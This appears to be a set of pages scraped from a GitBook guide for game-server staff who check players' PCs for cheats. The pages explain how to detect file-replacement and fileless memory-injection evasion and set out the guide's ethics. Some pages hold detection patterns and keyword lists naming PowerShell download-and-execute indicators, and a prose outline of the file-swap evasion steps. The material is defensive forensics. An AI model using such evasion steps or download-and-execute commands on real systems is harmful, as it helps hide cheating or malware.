and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # File Replacement (Replace Method) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/file-replacement.md) . * **Description:** A common bypass technique involving replacing a malicious file (the cheat) with a legitimate file that has the **exact same filename**. The goal is to deceive the ScreenSharer who might find execution traces pointing to a filename, but upon inspecting the file currently at that location, finds only a benign application. * **Mechanism:** Typically involves these steps: 1. The cheater has a cheat executable, e.g., `MyClient.exe`, in a specific location (e.g., Desktop). 2. The cheater runs `MyClient.exe`. Execution artifacts (Prefetch, BAM, process memory strings) are created pointing to this file and path. 3. Just before the screenshare freeze, the cheater **deletes** the actual cheat file `MyClient.exe`. 4. Immediately afterwards, they **move or copy a legitimate file** (e.g., a renamed `notepad.exe`, `calc.exe`, or another harmless program) into the _exact same location_ and **rename it to the exact same name** as the deleted cheat: `MyClient.exe`. * **Why Cheaters Use It:** To create plausible deniability. When the ScreenSharer finds execution evidence for `MyClient.exe` (e.g., in Prefetch or BAM), they navigate to the path and find what _appears_ to be `MyClient.exe`, but it's actually the benign replacement file. If the SSer only checks the current file's properties or content without cross-referencing timestamps or using deeper analysis, they might miss the switch. * **Detection:** Detecting file replacement relies heavily on correlating evidence across multiple artifacts, particularly the USN Journal: * **USN Journal (**`**$UsnJrnl**`**):** This is the **most definitive detection method**. The Journal logs the entire sequence: 1. A `FILE_DELETE` event for the original cheat file (`MyClient.exe`) at its location. 2. Followed closely by `FILE_CREATE` and potentially `RENAME_NEW_NAME` events for the legitimate file being moved/copied/renamed into the same location with the _same name_ (`MyClient.exe`). Specific reason codes might vary depending on whether it was a copy, move, or direct rename, but the sequence of delete followed by create/rename of the same filename at the same path within a short timeframe is the key pattern. * **Timestamp Discrepancies (Prefetch/BAM vs. Current File):** Compare the **execution timestamp** found in Prefetch or BAM for `MyClient.exe` with the **file creation/modification timestamps** of the `MyClient.exe` file _currently_ present on disk. If the execution timestamp is significantly _newer_ than the creation/modification time of the current file, it implies the file that was executed is _not_ the file currently residing at that path. * **Hash/Signature Mismatch:** If the original cheat was unsigned or had a specific hash, and the replacement file is legitimate (e.g., signed `notepad.exe`), comparing the hash/signature of the current file against expectations based on execution logs can reveal the replacement. * **DPS Compilation Timestamp:** The Diagnostic Policy Service (DPS) sometimes logs the compilation timestamp embedded within an executable. If DPS logs show an execution trace for `MyClient.exe` with compilation timestamp A, but the `MyClient.exe` currently on disk has compilation timestamp B (verifiable via VirusTotal details or PE analysis tools), it proves a replacement occurred. * **(Advanced)** `**fsutil file queryFileNameById**`**:** If the USN Journal provides the File Reference Number (FRN) for the deleted cheat file, this `fsutil` command (if run quickly before the MFT record is reused) might potentially still resolve the original filename associated with that FRN, further confirming the deletion. (Reliability varies). Successful detection of file replacement requires meticulous comparison of timestamps and filesystem event logs against execution artifacts. [PreviousRecycle Bin Clearing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/recycle-bin-clearing) [NextPermission and Inheritance Modification](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification) Last updated 1 year ago --- # Forensic Implications and Detection | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/forensic-implications-and-detection.md) . #### [](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/forensic-implications-and-detection#fileless-malware-and-memory-injection-techniques) Fileless Malware and Memory Injection Techniques This category represents some of the most advanced evasion techniques, where malicious code executes primarily or entirely within the system's volatile memory (RAM), often without writing traditional executable files to the hard drive. This makes detection challenging for standard file-based scanners. These techniques frequently involve injecting code into legitimate processes to hide their presence and leverage existing trust. **Common Fileless/Memory Injection Techniques:** * **Reflective DLL Injection:** Loading a malicious DLL directly from memory into a target process, bypassing standard Windows loading mechanisms and the need for the DLL file on disk at the time of injection. * **Process Hollowing:** Creating a legitimate process in a suspended state, replacing its code in memory with malicious code, and then resuming it, making the malicious code run under the guise of the legitimate process. * **Shellcode Injection:** Injecting raw machine code (shellcode) directly into a target process's memory and triggering its execution via various methods (e.g., `CreateRemoteThread`, thread hijacking). * **In-Memory .NET Assembly Loading:** Using legitimate .NET runtime features (often via PowerShell or loaders) to load and execute malicious .NET assemblies directly from memory. **Detecting Fileless Injection Techniques (Focus on Memory Analysis)** Since these techniques primarily reside in memory, detection requires analyzing the volatile state of the system, focusing heavily on process memory and related artifacts. 1. **Kernel Live Dump Analysis (Best Overall Method):** * **Rationale:** Analyzing a **Kernel Live Dump** is arguably the **most robust and comprehensive approach** for detecting artifacts related to fileless execution or injection processes. Even if the malicious payload operates entirely in user-mode memory, the _commands, scripts, or loader processes_ used to initiate the injection or fileless execution often leave persistent traces within the kernel memory buffers captured in the dump. These traces can survive longer than user-mode process memory artifacts, especially if the initial loader process terminates quickly. * _Procedure:_ Create a Kernel Live Dump using tools like System Informer or Task Manager. Note the saved `.dmp` file location (e.g., `%LOCALAPPDATA%\Microsoft\Windows\TaskManager\LiveKernelDumps\`). * _Analysis with_ `_bstrings_`_:_ Use `**bstrings.exe**` (from Eric Zimmerman Tools) to extract and filter strings from the dump file. A command focused on finding indicators of common script-based fileless execution vectors (often used as loaders for memory injection) is: Copy bstrings.exe -f "C:\Path\To\Your\LiveKernelDump.DMP" --lr "(?i)(?:\b(?:powershell|cmd|wscript|cscript)\b|iwr|iex|invoke|encodedcommand|decoded|base64|github|pastebin|\.exe|\.bat|\.vbs)" -o ".\FilelessExecutionEvidence.txt" _(This command searches the kernel dump (case-insensitive) for common script interpreters, PowerShell commands often used for downloading/executing code (_`_iwr_`_,_ `_iex_`_,_ `_invoke_`_), indicators of encoded payloads (_`_encodedcommand_`_,_ `_decoded_`_,_ `_base64_`_), common payload hosting sites (_`_github_`_,_ `_pastebin_`_), and common executable/script extensions that might appear in launch commands found within the dump. Results are saved to_ `_FilelessExecutionEvidence.txt_`_.)_ * _Interpreting Output:_ Meticulously review the output file for suspicious command lines, script fragments, Base64 blocks (decode these separately), URLs, or paths related to the initiation of the fileless activity or injection. Finding the command used to download and execute a PowerShell script directly in memory, or the command line of a loader executable, provides strong evidence. * **Forthcoming Tool:** Recognizing the power and utility of this approach, the **RedLotus Kernel Live Dump** tool is under development (and may be released soon, if not already available). This tool aims to automate and significantly speed up the process of analyzing Kernel Live Dumps specifically for traces of bypasses like fileless script execution and memory injection initiators, providing results in seconds rather than requiring extensive manual string filtering and interpretation. 2. **Event Log Analysis (Using Hayabusa):** * While event logs primarily record disk-based activity, certain logs, especially if enhanced logging like PowerShell Script Block Logging (Event IDs 4103/4104) is enabled, can capture the commands or script blocks used to _initiate_ fileless execution or injection. * _Tool:_ **Hayabusa** is an effective event log parser that utilizes Sigma rules for threat hunting. It can rapidly process numerous `.evtx` files. * _Analysis:_ Run Hayabusa against the system's event logs (`C:\Windows\System32\winevt\Logs`). Examine the generated report or CSV output, specifically filtering for rules related to suspicious PowerShell execution, WMI activity, or other Living-off-the-Land techniques. Search for keywords often associated with fetching or executing remote/encoded payloads, such as: `iwr`, `iex`, `invoke-expression`, `invoke-webrequest`, `encodedcommand`, `encode`, `decoded`, `github`, `pastebin`, `-nop`, `-w hidden`. Finding commands using these keywords, especially complex or obfuscated ones, warrants significant scrutiny. 3. **YARA Rule Scanning (Memory):** * **Mechanism:** Use YARA rules specifically crafted to detect signatures of known shellcode, reflective loader stubs, packed executables in memory, specific cheat modules known to be injected, or common memory evasion artifacts. * **Tools:** * **Volatility Framework:** The `yarascan` plugin allows scanning a full memory dump (`.mem`, `.vmem`, `.raw`) using provided YARA rules. * **Velociraptor:** The `yara()` VQL function with `accessor='process'` enables scanning the memory of _live_ running processes directly against YARA rules without requiring a full dump. * **Effectiveness:** Depends heavily on the quality and specificity of the YARA rules used. Good rules can provide strong hits, but generic rules might produce false positives. 4. **Process Memory Inspection (System Informer/Process Hacker):** * **Mechanism:** Directly examine the memory space of running processes suspected of hosting injected code (e.g., the game process, `explorer.exe`). * **What to Look For:** * _Suspicious Memory Regions:_ Identify regions marked as `Private` (not backed by a file on disk) that have `Execute` permissions (`PAGE_EXECUTE_READWRITE` or similar). Analyze the content of these regions (e.g., using the hex viewer or string search). The presence of PE headers (MZ...) or executable code in such regions is a strong indicator of injection. * _Anomalous Loaded Modules:_ Check the "Modules" list for unsigned DLLs, DLLs in unexpected locations, or multiple instances of core system DLLs loaded at unusual base addresses. (Note: Reflective injection might hide modules from this list). * _String Search:_ Search for specific strings known to be associated with the cheat, loader, or injection method within the process memory. 5. **Volatility Framework (Memory Dump Analysis):** * **Mechanism:** Analyze a full memory dump acquired using tools like FTK Imager, DumpIt, or Magnet RAM Capture. * **Key Plugins:** * `malfind`: The primary plugin for finding injected code. It specifically looks for memory regions exhibiting characteristics typical of injections (e.g., executable private memory, PE headers). * `ldrmodules`: Can sometimes identify DLLs hidden from standard enumeration techniques. * `pstree`/`pslist`: Useful for understanding process relationships and identifying potential host processes for injection or anomalies related to hollowing. * `memdump`: Allows extracting specific memory regions identified as suspicious by `malfind` or other analysis for deeper offline examination (e.g., reverse engineering). * `vadinfo`: Provides detailed information about Virtual Address Descriptors, helping to understand memory region permissions and types. Detecting fileless malware and memory injection requires a shift towards analyzing the system's volatile state. While Kernel Live Dump analysis offers broad detection capabilities for the initiation phase, combining it with targeted process memory inspection, advanced tool analysis (Volatility/YARA), and potentially revealing event logs provides the most comprehensive strategy against these advanced evasion techniques. [PreviousMechanisms of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/mechanisms-of-evasion) [NextCOM Hijacking](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/com-hijacking) Last updated 1 year ago --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/what-is-a-hack-check.md). # What is a Hack Check (Screenshare)? At its core, a \*Hack Check\* or \*Screenshare\* is a specific, structured procedure initiated and conducted by authorized server staff members. Its objective is to investigate and determine whether a player under scrutiny is utilizing cheats, unauthorized software, or other modifications that confer an unfair advantage within the game environment. It represents a direct method of verification, moving beyond behavioral analysis or statistical detection to examine the player's actual system environment and game configuration for tangible evidence. This practice is fundamentally rooted in the principle of maintaining \*\*fair play\*\* – ensuring that success within the game is derived from skill, strategy, and legitimate gameplay, rather than illicit technological aids. Cheating undermines the competitive balance, erodes community trust, and can lead to widespread player frustration. Screensharing, therefore, acts as a crucial enforcement mechanism where other methods fall short. The process typically involves isolating the suspected player, obtaining their (usually necessary) consent to allow remote access to their computer via specialized software (like AnyDesk or TeamViewer), and then conducting a methodical examination of files, processes, system settings, and game-related artifacts. It is a detailed inspection designed to confirm or refute allegations of cheating based on observable evidence found on the player's machine during the check. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/what-is-a-hack-check.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-goal-demonstrating-cheat-usage.md). # The Goal: Demonstrating Cheat Usage The ultimate objective of any screenshare is: to \*\*demonstrate\*\*, through verifiable evidence, whether or not a player was using cheats, or to definitively rule out such activity. This process is akin to a form of targeted digital investigation. However, the crucial point central to ethical screensharing, is that \*what constitutes sufficient proof\* and \*how that proof must be demonstrated\* is \*\*dictated solely and entirely by the specific rules and guidelines established by the server or community\*\* conducting the check. There is no single universal standard; server rules are the definitive authority. Failing to adhere to these rules, misinterpreting evidence, or lacking the technical skill to uncover hidden cheats can lead to a "bypass" – a situation where a cheating player evades detection. Understanding the server's specific criteria for evidence is paramount before initiating any check. \* \*Possession vs. Execution:\* The evidentiary standard varies significantly. Some servers operate under a stricter \*ban for possession\* policy. Here, the mere presence of cheat-related files (executables, DLLs, configuration files, known cheat components in specific directories like \`.minecraft/mods\` or download folders) within a defined recent timeframe might be sufficient grounds for a ban. The staffer's goal is primarily detection and documentation of these forbidden files. However, the \*\*vast majority\*\* of servers require \*\*proof of execution\*\*. This is a higher standard, demanding evidence not just that a cheat \*existed\* on the system, but that it was \*\*actively running\*\* and potentially influencing the game during the period relevant to the suspicion. This involves finding artifacts that indicate the cheat process was live, interacting with memory, or leaving operational logs. \* \*The Importance of Execution Context ("Instance"):\* When the standard is \*ban for execution\*, merely showing that a cheat ran \*at some point ever\* is often insufficient and can lead to disputes. \*\*Precision regarding the timing of execution is critical.\*\* Staffers must strive to demonstrate that the cheat was executed \*\*during the relevant timeframe\*\*, which is typically defined as the current \*game instance\* (from the launch of the game process, e.g., \`javaw.exe\`, until the check) or the current \*boot instance\* (from the user's logon time for the current Windows session until the check). This often involves meticulous comparison of timestamps: the last execution time of the cheat artifact (found via Prefetch, BAM, memory strings, etc.) must correlate closely with the start time of the relevant game process or the system logon time. This specific timeframe, sometimes referred to as "instance," defines the context. \*\*Issuing bans based on execution evidence conclusively dated \*\*\*\*\*outside\*\*\*\*\* this relevant instance\*\* (e.g., a cheat run days or weeks prior with no evidence of recent use) \*\*can be considered imprecise and may lack sufficient proof under many server rulesets.\*\* Understanding and respecting the "instance" context is fundamental to accurate and fair execution-based bans. The interpretation and weight given to evidence outside the instance depend entirely on the server's codified rules. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-goal-demonstrating-cheat-usage.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals.md). # Windows Fundamentals Effective screensharing requires more than just familiarity with cheat names or specific tools; it necessitates a foundational understanding of how the Windows operating system manages data, tracks activity, and structures information. Without this core knowledge, interpreting the artifacts found during a check becomes guesswork, potentially leading to errors or missed evidence. This section delves into the essential concepts of Windows file systems, timestamps, and key components that are frequently analyzed during screenshares. Mastering these fundamentals is crucial for building accurate timelines, understanding file lifecycles, and detecting manipulation attempts. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/screensharing-protocols.md). # ScreenSharing Protocols (Video Recording) Red Lotus mandates strict, non-negotiable protocols regarding the documentation of screenshare procedures, primarily through video recording: \* \*\*Mandatory Video Recording:\*\* It is \*\*compulsory\*\* for every ScreenSharer to record the \*\*entirety\*\* of every screenshare they conduct, from the moment interaction begins until it concludes. This applies universally, regardless of the ScreenSharer's personal hardware capabilities; claiming a "low-end PC" is \*\*not a valid excuse\*\* for failing to record. Solutions must be found to meet this requirement. \* \*\*Purposes of Recording:\*\* As detailed previously, recording serves multiple vital functions: player safety assurance, evidence review by oversight, verification of procedural accuracy and truthfulness (preventing framing), compliance with data security/privacy standards, and assessment of the ScreenSharer's skills and adherence to protocols. \* \*\*Consequences of Non-Compliance:\*\* Failure to provide a complete video recording for a conducted screenshare may result in significant penalties for the ScreenSharer, including but not limited to \*demotion, temporary or permanent suspension from screensharing duties, or mandatory re-evaluation of their skills and understanding of protocols\*. \* \*\*Invalid Bans:\*\* Any ban issued based on evidence purportedly gathered during a screenshare for which \*\*no corresponding complete video recording exists MUST be overturned immediately\*\* upon appeal or review. The recording is the primary validation of the process and findings. \* \*\*Screenshots Exception (Extremely Limited):\*\* In very rare circumstances, screenshots \*might\* be deemed provisionally acceptable as supplementary documentation \*only if\* the specific ScreenSharer involved has a demonstrable, long-standing, and impeccable track record of respecting player privacy and security protocols, as judged by management. However, this is a significant exception and \*\*should not be standard practice\*\*. Furthermore, if \*any\* dispute, allegation of misconduct, or question regarding the integrity of the screenshare arises, the requirement for full video evidence still applies retroactively, and its absence will invalidate the findings. Video remains the gold standard. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/screensharing-protocols.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-staffers-perspective-and-the-learning-process.md). # The Staffer's Perspective and the Learning Process Conducting screenshares effectively requires not only technical proficiency but also a specific mindset grounded in fairness, continuous improvement, and integrity. \* \*\*Goal:\*\* The SSer's primary role is that of a \*\*guardian of fair play\*\*. The motivation must stem from a desire to maintain a level playing field and protect the community from the negative impacts of cheating. It is \*\*not\*\* a platform for building personal reputation, seeking notoriety, or engaging in a competitive "ban farming" exercise. Every action taken should be justifiable in the context of upholding the server's rules and fostering a positive environment. \* \*\*Dealing with Failure (Being 'Bypassed'):\*\* The term "bypass" is common parlance for when a staffer is unable to find sufficient evidence of cheating on a player who was, in fact, cheating. It is crucial to recognize that \*\*this will happen\*\*. Cheats and evasion techniques constantly evolve, and no SSer, regardless of skill, can guarantee a 100% detection rate. Encountering a bypass should not be viewed as a personal failing or a reason for unwarranted suspicion or frustration. Instead, it \*\*must\*\* be treated as a vital \*\*constructive learning experience\*\*. What went wrong? Were there artifacts overlooked? Was a new technique employed? Rigorous post-check analysis, perhaps discussing anonymized scenarios with peers or mentors, is essential for honing skills and adapting to new threats. Even if a player claims to use a "private client," it doesn't absolve the SSer from the responsibility of conducting a thorough check; the goal is always to find evidence through skillful application of techniques. Fear of being bypassed should never influence the decision-making process. \* \*\*Integrity and Evidence:\*\* This is the cornerstone of legitimate screensharing. Staffers operate in a position of trust and authority, granted access to a player's private system. This power demands absolute integrity. \*\*Bans must \*\*\*\*\*only\*\*\*\*\* be issued based on concrete, unambiguous evidence\*\* that directly aligns with the \*\*explicitly defined rules\*\* of the server. Assumptions, gut feelings, player reputation, or pressure to secure a ban have no place in this process. \*\*"Staffers should not issue bans out of fear of being bypassed, nor should they make assumptions."\*\* Honesty is critical – honesty with oneself about the certainty of the evidence, honesty with the player regarding the findings (within the bounds of server policy), and honesty with the administration and community through accurate reporting. False or poorly evidenced bans severely damage trust and the credibility of the entire moderation process. Adherence to the rules and reliance on verifiable facts are paramount. This aligns directly with the core tenets of frameworks like the Red Lotus principles, which prioritize player safety and data security alongside procedural correctness. \*\*\* --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-staffers-perspective-and-the-learning-process.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/red-lotus-principles-for-ethical-and-effective-screensharing.md). # Red Lotus Principles for Ethical and Effective ScreenSharing The following core principles guide every aspect of screensharing conducted under or referencing the Red Lotus framework. They emphasize a value hierarchy where human factors and data security take precedence. \* \*\*Player Safety Over Accuracy:\*\* The physical, digital, and psychological safety and security of the player undergoing a screenshare are deemed \*\*more important than the outcome or speed of the check itself.\*\* This principle acknowledges that the process involves granting significant access to personal systems and data. Therefore, ensuring the player's well-being, protecting their system from unintended harm, and minimizing undue stress must be prioritized above the technical goal of detecting cheats, regardless of whether advantages are ultimately found. Actions that compromise player safety for the sake of expediency or a perceived increase in detection accuracy are explicitly condemned. \* \*\*Data Security Paramount:\*\* The protection of a player's personal data is \*\*absolutely imperative and non-negotiable\*\*. During a screenshare, staff gain access to potentially sensitive information far beyond the game itself (e.g., personal files, browsing history, communication logs, credentials). This principle mandates that the confidentiality and integrity of this data must be safeguarded above any perceived benefit or advantage for the server, community, or screensharing team. Protocols must be in place to prevent unauthorized access, copying, or disclosure of player data encountered during the check. \* \*\*Upholding Fair Play Standards:\*\* Red Lotus firmly condemns any actions or intentions aimed at dismantling or weakening established institutions, regulations, or procedures that ensure \*\*fair play, transparency, and privacy\*\* during screenshares. This includes attempts to circumvent protocols, disregard established rules for evidence, or diminish the importance of player rights and data protection measures for the sake of convenience or expediency. Maintaining the integrity of the process itself is vital for community trust. \* \*\*Verified ScreenSharer Expertise:\*\* The individuals conducting screenshares (variously referred to as "ScreenSharers," "PC Checkers," or "Account Reviewers") wield significant access and responsibility. Therefore, their experience, technical skills, and understanding of procedures and ethical guidelines \*\*must be rigorously tested, verified, and formally approved\*\* by designated team leadership (e.g., SS Management, Server Administration). This is not a role for untrained personnel; verification ensures competence, reduces the risk of errors (false positives/negatives), and minimizes the potential for abuse of access. \* \*\*Adherence to the Charter:\*\* Any server, community, or team that chooses to implement or reference Red Lotus guidelines assumes the responsibility of creating and maintaining a screensharing system that \*\*fully aligns with the Red Lotus Charter and its foundational principles.\*\* This signifies a commitment to upholding the ethical and procedural standards outlined herein, ensuring consistency and trustworthiness across implementations. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/red-lotus-principles-for-ethical-and-effective-screensharing.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/requirements-for-screensharers.md). # Requirements for ScreenSharers To ensure a baseline level of maturity, competence, and understanding, Red Lotus outlines specific prerequisites for individuals permitted to perform screenshares: \* \*\*Minimum Age:\*\* ScreenSharers must be at least \*\*16 years old\*\*. This requirement aims to ensure a minimum level of maturity, responsibility, and understanding of the gravity associated with accessing private systems and data. \* \*\*Minimum Experience:\*\* A candidate must possess a minimum of \*\*4 months of active, dedicated experience purely in the practice of ScreenSharing\*\*. This period allows for the development of familiarity with common tools, procedures, operating system artifacts, typical user setups, and the nuances of interpreting findings. This is experience in \*conducting\* screenshares, not merely observing or being part of a staff team. \* \*\*Verified Skills:\*\* Experience alone is insufficient. A ScreenSharer's skills \*\*must be actively verified\*\* by server or team management. This verification typically involves practical assessments, such as successfully navigating simulated bypass scenarios (Anti-ScreenShare tests) or demonstrating proficiency in manual artifact analysis techniques. Reliance solely on automated tools is unacceptable; manual understanding is key. \* \*\*Country Information:\*\* A ScreenSharer's country of residence should be noted \*solely\* for the purpose of navigating potential legal complexities or jurisdictional issues related to data privacy laws (e.g., GDPR, CCPA). This information should be handled confidentially. Crucially, \*\*IP addresses, specific geolocations (State/City/Urban area), or any other personally identifying location data MUST NOT be requested or stored\*\* as part of the ScreenSharer qualification process. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/requirements-for-screensharers.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/anti-corruption-measures.md). # Anti-Corruption Measures To safeguard the integrity, fairness, and accuracy of the screensharing process, Red Lotus implements specific anti-corruption measures designed to prevent abuse and ensure unbiased outcomes: \* \*\*Purpose:\*\* These measures are specifically aimed at preventing false punishments (bans issued without sufficient or valid 